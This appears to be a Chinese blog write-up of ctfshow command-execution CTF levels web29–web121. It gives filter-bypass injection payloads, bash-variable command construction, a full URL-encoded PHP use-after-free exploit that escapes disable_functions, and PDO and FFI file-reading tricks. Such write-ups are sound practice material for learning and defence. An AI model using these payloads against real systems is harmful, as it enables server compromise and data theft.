Ctfshow-再刷命令执行篇
ctfshow-再刷命令执行篇
前言
今天无意间看看了ctfshow,突然发现命令执行模块多出来好多题,是我没做嘛,趁着最近比赛比较多,再刷一遍命令执行巩固巩固,学习一些奇招吧(感觉没做的好高级
解题
web29
1 | system("sort f*"); |
web30
1 | <?php |
1 | passthru("sort fla*"); |
web31
1 | <?php |
过滤了cat,可用tac;过滤空格可用${IFS}、%09、${IFS}$9等;过滤了system可用passthru。
1 | passthru("cut%09-c%091-80%09fl*"); |
web32
1 | <?php |
1 | include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php |
我是这么理解的,要传$_GET[1]?>接收传参,传进去的是$_GET[1]?>,就会变成eval($_GET[1]?>); 接收参数后会是eval(….;);而不会执行后面1传进去的参数,想要执行后面的参数需要再套一个命令执行函数,
web33
1 | <?php |
上一题payload就能打
web34
1 | <?php |
上面的还能打
web35
1 | <?php |
不多说
web36
通杀
web37
1 | <?php |
1 | data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== |
web38
1 | <?php |
同上
web39
1 | <?php |
1 | ?c=data://text/plain,<?php system("cat fl*");?> |
web40
1 | <?php |
1 | ?c=eval(end(current(get_defined_vars())));&b=system("cat fl*"); |
web41
1 | <?php |
异或
1 | ("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%00"|"%60%60%60%20%60%2a") |
web42
1 | <?php |
cat f*%0a
%0a换行,给>/dev/null 2>&1换到下一行去执行,不影响cat
将命令执行的结果重定向到 /dev/null ,错误信息和执行返回信息都不显示在页面上。
/dev/null 表示一个特殊的设备文件,在 UNIX 和类 UNIX 系统中用于丢弃数据,相当于一个黑洞。将输出重定向到 /dev/null 相当于将输出丢弃,不会在终端或文件中显示。
2>&1 表示将标准错误输出重定向到与标准输出相同的位置。其中,2 表示标准错误输出的文件描述符,&1 表示将其重定向到标准输出的位置。
我们需要进行命令分割,正常执行命令但不执行重定向。
- 分号(;) 终止后面的命令执行
- | 只执行后面的命令
- || 只执行前面的命令
- & 两条命令都会执行(&需要url编码 %26)
- && 两条命令都会执行
- %0a 换行符
web43
1 | <?php |
sort f*%0a
web44
1 | <?php |
同上
web45
1 | <?php |
sort%09f*%0a
1 | echo$IFS`tac$IFS*`%0A |
web46
1 | <?php |
1 | grep%09fl%09fl\ag.php|| |
web47
1 | if(isset($_GET['c'])){ |
1 | grep%09fl%09fl\ag.php|| |
web48
1 | if(isset($_GET['c'])){ |
1 | grep%09fl%09fl\ag.php|| |
web50
1 | if(isset($_GET['c'])){ |
1 | tac<>fl\ag.php|| |
web51
1 | if(isset($_GET['c'])){ |
同上啦
web52
1 | if(isset($_GET['c'])){ |
1 | nl${IFS}fla''g.php|| |
web53
1 |
|
1 | nl${IFS}fla''g.php|| |
web54
1 | if(isset($_GET['c'])){ |
1 | /bin/c??${IFS}????.php |
web55
1 | if(isset($_GET['c'])){ |
这题有些呆了
1 | ?c=/???/????64 ????.??? |
/usr/bin/bzip2压缩命令,将flag.php压缩为压缩包,访问并下载
1 | payload: |
bash shell的转义字符
Bash shell中,\是转义字符的开始。当你使用\后跟一个数字时,Bash会将其解释为八进制数,并将其转换为对应的ASCII字符。
可通过 **$’[转义字符]’**构造命令。
1 | payload: |
web56
构建文件上传表单
1 | <!DOCTYPE html> |
web57
1 | if(isset($_GET['c'])){ |
未过滤$、取反~和左右括号(),提示flag在36.php中,文件名为数字,且程序会直接cat到指定文件内容,需要给c赋值为36。
可使用Bash shell中的双小括号(())来进行构造数字:
- $(()) 代表一次运算,括号内可以填入运算式,因为里面为空,所以结果会被解析为0
- 对0取反可以得到-1,使用表达式表示为$(( ~$(()) ))
- 两个双小括号运算符相连,默认为相加,如$(( $(~$(())) $(( ~$(()))) )) ,-1+(-1)=-2
- 通过上述方法我们可以构造出-37,又-37取反得到36,目的达成,在$(( ~$(( )) ))中放入37个$(( ~$(()) )),即可构造出数字36
1 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
web58
1 | if(isset($_POST['c'])){ |
禁用了一些函数system,passthru
看题目源码里有highlight_file,直接就用了
c=highlight_file(‘flag.php’);
收集其他的做法
1 | c=include$_POST[1];&1=php://filter/read=convert.base64-encode/resource=flag.php |
web59
源码跟上面一样补贴了吧
c=highlight_file(‘flag.php’);
file_get_contents被禁了
web60
源码有的我就不多说了吧,试试上面的方法就行
web61
通杀
web62
通杀
web63
通杀
web64
通杀
web65
通杀
web66
这次换位置了
1 | c=highlight_file('../../../flag.txt'); |
具体怎么找
1 | c=print_r(scandir(current(localeconv()))); 当前目录 |
web67
print_r被禁了
var_dump可以代替
1 | c=highlight_file('../../../flag.txt'); |
web68
我的天哪~
没事还有文件包含的
1 | c=include$_POST[1];&1=php://filter/read=convert.base64-encode/resource=/flag.txt |
web69
文件包含秒
1 | c=include$_POST[1];&1=php://filter/read=convert.base64-encode/resource=/flag.txt |
可用php类 SplFileObject文件读取类,创建flag文件的实例,调用方法fpassthru()将文件内容输出到缓冲区。
1 | c=(new SplFileObject("/flag.txt"))->fpassthru(); |
web70
同上题因字节太大,无法读取源码,且var_dump被禁用。
可用其他打印数组内容的方法:
(1)json_encode(),其可将数组转为json格式的字符串
1 | c=echo json_encode(scandir("/")); |
(2)implode(间隔符,数组),可将数组内容转为字符串,可设置元素之间的间隔符
1 | c=echo implode("---",scandir("/")); |
(3)使用foreach循环打印数组内容(不推荐)
1 | c=foreach(scandir("/") as $a){echo $a." ";} |
对于读取文件,可用include包含或者readgzfile()方法,readgzfile()可以读取非gzip格式的文件,并直接返回文件内容。
1 | 1. c=include("/flag.txt"); |
太6了,佩服佩服
web71
1 | <?php |
开缓冲区了
代码分析:
- POST传参c,命令执行c
- 获取到输出缓冲区的内容(即命令执行的结果),赋值给s,后清空缓存区内容
- 将s的内容中的字母和数字都替换为?,然后输出
很明显,这段代码会拦截并更改命令执行的回显内容,我们需要绕过它们。
使用 **exit(0)、die()**来退出程序,在传参的命令后添加这段语句,可以避免回显内容的替换。
1 | c=include("/flag.txt");exit(0); |
web72
1 | <?php |
传参看到flag位置在/flag0.txt
1 | c= |
想读文件发现没有权限,题目提示需要uaf提权
1 | <?php |
1 | c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E |
什么离谱题目,一脸懵逼的我
web73
找flag目录
1 |
在/flagc.txt
1 | c=include('/flagc.txt');exit(); |
web74
还是老规矩先查/flagx.txt,在include即可
不是哇,网上又看到一个骚招,这么牛批的吗?
可以使用一些可使用的进程去读取flag。这里使用PDO(PHP Database Object)去执行sql语句进而读出flag
1
2
3
4
5 >c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
>'root');foreach($dbh->query('select load_file("/flagx.txt")') as $row)
>{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>>getMessage();exit(0);}exit(0);
dbname可以是mysql,只要是mysql数据库里面存在的数据库名(dbname)就可以了
还要数据库密码是弱密码 root/root
web75
flag是flag36.txt
要用骚招了
1 | c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0); |
web76
改了个flag名叫36d
1 | c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0); |
web77
php7.4以上该想到FFI
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die(); |
1 | $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 |
web118
重头戏来喽
开局只有这个
源码里给了一点提示
system($code)
fuzz一下可用字符集,大部分大写字母可用还有有些符号
可以用大写字母A-Z
和${}~.?:
可以利用bash内置变量进行拼接
题目过滤了数字,可以利用取反字母,任意字母取反是0
题目对应的pwd是/var/www/html,拼接nl的话比较好拼
我在本地试了半天我拼出来怎么不是nl,突然发现我环境变量有些对不上,
换了一个比较原始的虚拟机测试得到环境变量是
1
2 echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
最后一个刚好是n
1 | code=${PATH:~A}${PWD:~A}$IFS????.??? |
补充一下BASH内置变量
${RANDOM} :随机的几个数
${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录
1 | SHLVL |
1 | ${#}是0,${SHLVL}为1 |
数字屏蔽了,可以利用以上进行拼接
1 | #${RANDOM}是随机数,${#RANDOM}一般是5,也可能是4 |
1 | echo ${PWD:~0:1} #从结尾开始往前的第一个字符 |
web119
看wp说是过滤了${PATH}
可以用其他的慢慢拼
/bin/cat ????.???
自己拼了一个
1 | ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? |
1 | ${HOME:${#HOSTNAME}:${#SHLVL}} ====> t |
web120
1 |
|
上一题自己拼的命令还能打
1 | ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? |
当然还可以去拼其他命令
base64 nl…..
web121
1 |
|
我滴个天,这此是过滤了好多
还有PWD,SHLVL背过滤了,可以换$,$